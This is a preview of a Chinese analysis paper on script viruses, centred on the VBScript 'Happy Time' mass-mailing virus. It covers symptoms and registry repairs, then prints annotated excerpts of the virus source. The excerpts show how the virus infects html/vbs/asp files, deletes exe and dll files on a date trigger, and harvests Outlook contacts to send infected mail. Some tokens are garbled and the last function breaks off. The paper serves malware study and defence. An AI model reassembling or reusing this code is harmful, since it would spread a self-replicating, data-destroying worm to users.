logo资料库

脚本病毒分析:新欢乐时光.docx

第1页 / 共11页
第2页 / 共11页
第3页 / 共11页
第4页 / 共11页
第5页 / 共11页
第6页 / 共11页
第7页 / 共11页
第8页 / 共11页
资料共11页,剩余部分请下载后查看
摘要 本文针对脚本病毒展开论述。首先介绍了脚本病毒的一般概念, 及与其密切相关的几个术语。而后介绍了脚本病毒的三大特点:易隐 藏,传播广,变种多。接着本文结合几个具体事例,说明了脚本病毒 的发作现象及对应的处理办法。为了深入说明脚本病毒,本文针对著 名的“欢乐时光”病毒展开案例分析,展示了其关键处源代码,并添 加了细致的注释。此外,本文还针对脚本病毒,提出了具体的安全防 范建议。最后,本文对未来的脚本病毒做出了一些预测分析,并提出 了对未来病毒领域发展的一些看法。 关键词:脚本病毒 欢乐时光病毒 源代码分析 防范建议
一、背景简介 随着 WEB 的迅速发展,网站及网页的数量大幅度增加。网页是构成网站的 基本元素,是承载各种网站应用的平台。有恶意者在网页中插入恶意代码,来实 现攻击等非法目的。由此便诞生了脚本病毒。 严格来说,脚本病毒是指利用.asp,.htm,.html,.vbs,.js 类型的文件进行传播的 基于 VB Script 和 Java Script 脚本语言并由 Windows Scripting Host 解释执行的一 类病毒。 脚本病毒常与网页或电子邮件相结合,将恶意的破坏性代码内嵌在其中。如 果有用户浏览带毒网页或邮件,病毒就会立即发作。轻则修改用户注册表,更改 默认主页或强迫用户上网访问某站点,重则格式化硬盘,造成重大的数据损失。 脚本病毒与以下三个关键词密切相关,有必要对它们做一些介绍。 1.1 VB Script VB Script 使用 Windows 脚本与宿主应用程序对话。由于使用 Windows 脚本, 使得浏览器和其他宿主应用程序不再需要每个脚本部件的特殊集成代码。该脚本 语言功能非常强大,它们利用 Windows 系统的开放性特点,通过调用一些现成 的 Windows 对象、组件,可以直接对文件系统、注册表等进行控制,功能非常 强大。应该说病毒就是一种思想,但是这种思想在用 VBS 实现时变得极其容易。 1.2 WSH WSH 是 Windows Scripting Host 的缩写,中文译为“Windows 脚本宿主”。 它内嵌于 Windows 操作系统中的脚本语言工作环境,主要负责脚本的解释和执 行。WSH 架构是建立在 ActiveX 之上的,通过充当 ActiveX 的脚本引擎控制器, 为 Windows 用户利用威力强大的脚本指令语言提供了可能。 1.3 注册表 注册表是 Windows 9x/Me/NT/2000 操作系统、硬件设备以及用户应用程序得 以正常运行和保存设置的核心“数据库”,也可以说是一个巨大的树状分层结构 的数据库系统。它记录着用户安装在机器上的软件和每个程序的相互关联信息。 脚本病毒往往通过修改注册表,来达到破坏系统的目的。 二、病毒特点 如上所述,VBS,JSP 文件是用于编写网页的脚本语言编写的程序文件,这 些程序文件中并不是二进制级别的指令数据,而是由脚本语言组成的纯文本文件, 这种文件没有固定的结构,操作系统在运行此类文件时只是单纯的一行一行的运 行。因此病毒感染这种文件时就省去了复杂的文件结构判断和地址计算,使病毒 的感染变得更加简单。 综合的来看,脚本病毒具有如下特点: 2.1 易隐藏 在我们的传统认识里,我们只要不从互联网上下载应用程序,从网上感染病
毒的几率就会大大减少。但是脚本病毒的出现彻底改变了人们的这种看法。看似 平淡无奇的网站也许隐藏着巨大的危险,一不小心用户就会在浏览网页的同时染 上病毒。此外,隐藏在电子邮件的脚本病毒往往用两个扩展名来迷惑用户,让用 户麻痹大意。 2.2 传播广 脚本病毒可以自我复制,而且它与前几章介绍的文件型病毒不同,脚本病毒 基本上不依赖于文件就可以直接解释执行。这使得它的传播变的更加容易。而且 网民的数量与日俱增,不良网站层出不穷,这大大加剧了脚本病毒的传染。 2.3 变种多 与其他类型的病毒相比,脚本病毒更容易产生变种。脚本本身的特征是调用 和解释功能,因此病毒制造者并不需要太多的编程知识,只需要对源代码稍加修 改,就可以制造出新的变种病毒,使人们防不胜防。 三、发作现象及处理 脚本病毒通过在网页中添加脚本段代码,达到某种破坏性目的,却不影响原 网页的外观。感染脚本病毒同感染 exe 文件病毒一样,都具有反分析能力,并且 能对病毒的程序代码进行加密和变形。 脚本病毒有许多变种,因此发作现象也有很多种。下面举例说明一些脚本病 毒发作后的现象及对应的处理方法。 现象一:浏览器主页设置被屏蔽锁定,且设置选项无效,主页不可更改。即 图 1 中红色圈中的按钮为不可选状态。 图 1.浏览器主页 处理方法:在“开始”菜单的“运行”中输入“regedit”打开注册表编辑器, 查找:HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\分支,新建
“ControlPanel”主键,然后在此主键下新建键值名为“HomePage”的 DWORD 值,值为“00000000”,按 F5 键刷新生效。 现象二:鼠标右键弹出菜单被禁用,即图 2 中的菜单无法弹出。 图 2.浏览器右键菜单 处理方法:打开注册表编辑器将 HKEY_CURRENT_USER\Software\Policies\ Microsoft\Internet Explorer\Restrictions 下的“NoBrowserContextMenu”项改为“0”。 按 F5 键刷新生效。 以上举了两个简单的小例子,用来说明脚本病毒的症状及解决方法。大部分 脚本病毒都篡改了系统的注册表。在下文中,我们会看到一个著名的脚本病毒, 进行更具体的分析。 我们除了手工修改注册表以外,还有一种方法是将注册表的正确键值按照自 己的习惯做出备份,形成 REG 文件,一旦某些键值被恶意脚本修改,可用备份 文件迅速恢复。 四、案例分析:欢乐时光病毒 “ 欢 乐 时光 ”(VBS.Haptime.A@mm ) 是 一个 VB 源 程 序病 毒 , 专门 感 染.htm.、.html、.vbs、.asp 等文件。该病毒采用 VBScript 语言编写,将病毒脚 本内嵌至上述文件中。它既可通过互联网进行传播,也可以在本地通过文件进行 感染。下面我们具体分析一下欢乐时光病毒。
4.1 病毒表现 (1)执行一次注册表项 HKEY_CURRENT_USER\Software\Help\Count; (2)弹出默认的邮件处理器,不停地给地址簿中的信箱发邮件,主题是 Help, 附件是\Untitled.htm; (3)HKEY_CURRENT_USER\Control Panel\desktop\wallpaper 指向病毒本身; (4)在注册表中写入 HKEY_CURRENT_USER\Software\Help\,其中包含以下 三项内容:filename, count, wallpaper; (5)写文件系统目录 help.vbs 系统目录 Untitled.htm; (6)在系统目录下创建 Help.hta; (7)Html 文件打开后表现为:loading help…… 4.2 病毒发作 (1)欢乐时光病毒的发作日期是“月+日=13”时发作,第一次发作是在 2001 年 5 月 8 日; (2)典型症状: a.总是不断的运行超级解霸; b.会弹出一个一个的记事本,上面写着 I am sorry…help…...,而且是不停地弹出, 不断地运行; c.系统后台有很多 Wscript 运行,系统资源非常少; d.硬盘上的所有 exe 和 dll 文件被删除。 4.3 源代码分析 由于整个欢乐时光病毒的完整源代码过于庞大,我们下面提取病毒关键部分 进行分析。 (1)引导部分:得到系统目录 Function Gsf() '得到 windows 目录 Dim Of, m On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") '创建 FileSystemObject 对象 m = Of.GetSpecialFolder(0) '得到特殊目录——Windows、System 和 Temp 目录 If Er Then '如果失败,返回 C:\ Gsf = "C:\" Else '若正常,则返回%Windows% Gsf = m End If End Function
(2)引导部分:读写注册表 Function Rg(v) '读注册表 Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") '创建对象 Rg = R.RegRead(v) End Function '****************************************************************** S Rw(k, v) '写注册表 Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") '创建对象 R.RegWrite k, v End S (3)感染部分:使文件感染病毒 S mclose() document.Write "<" & "title>I am sorry! '写入 I am sorry,并关闭,以此作为感染与否的标记 window.Close End S '****************************************************************** Function Sc(S) mN = "Rem I am sorry! happy time" If InStr(S, mN) > 0 Then '如果读入的文件流中有 Rem I am sorry! happy time Sc = Tr_ Else Sc = False '表示已感染过,返回 Tr_,否则为 False End If End Function '****************************************************************** S Fw(Of, S, n) '此时 S 为文件名,n 为文件扩展名
Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1) '只读模式打开该文件 mt = fc.ReadAll '读入全部文件流 fc.Close '关闭文件 If Not Sc(mt) Then '如果未感染过 mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) '打开文件并在文件末尾进行操作 fc2.Write mt fc2.Close Msend (mmail) '发带毒邮件 End If End S (4)表现部分:确定传染文件和删除文件的类型 On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") '创建 FileSystemObject 对象 Set Od = CreateObject("Scripting.Dictionary") '创建 Dictionary 对象, 用来保存数据键和项目对,它实际上是一个比较开放的数 组 Od.Add "html", "1100" Od.Add "vbs", "0100" Od.Add "htm", "1100" Od.Add "asp", "0010" '向 Dictionary 对象添加要感染的项目对 Ks = "HKEY_CURRENT_USER\Software\" '使用变量以减少代码长度 Ds = Grf() Cs = Gsf() If IsVbs Then '如果是 VBS If Of.FileExists("C:\help.htm") Then Of.DeleteFile ("C:\help.htm") '如果 c:\help.htm 存在,就删掉,消灭遗留的痕迹 End If
Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then '如果月与日之和为 13(这也是它变种多的原因——将 13 改为其他数字即可) Od.RemoveAll Od.Add "exe", "0001" Od.Add "dll", "0001" '清空 Dictionary 数组,并将 exe、dll 加入 Dictionary 对象,以备删除之用 End If '以上代码位于主函数中,主函数比较长,这里不全部贴出。主函数的剩余部分 主要用来调用各个函数 (5)传播部分:获取用户通讯本中邮件地址并发送带毒邮件 Function Og() '得到 WAB(通讯簿)中的邮件地址 Dim i, n, m(), Om, Oo Set Oo = CreateObject("Outlook.Application") '创建 Outlook 应用程序对象 Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items n = Om.Count ReDim m(n) For i = 1 To n m(i - 1) = Om.Item(i).Email1Address '得到每个 WAB 中的邮件地址 Next Og = m End Function '****************************************************************** S Tsend() '发带毒邮件 Dim Od, MS, MM, a, m Set Od = CreateObject("Scripting.Dictionary") MConnect MS, MM MM.FetchSorted = Tr_ MM.Fetch For i = 0 To MM.MsgCount - 1 MM.MsgIndex = i a = MM.MsgOrigAddress If Od.Item(a) = "" Then Od.Item(a) = MM.MsgS ject End If Next For Each m In Od.Keys
分享到:
收藏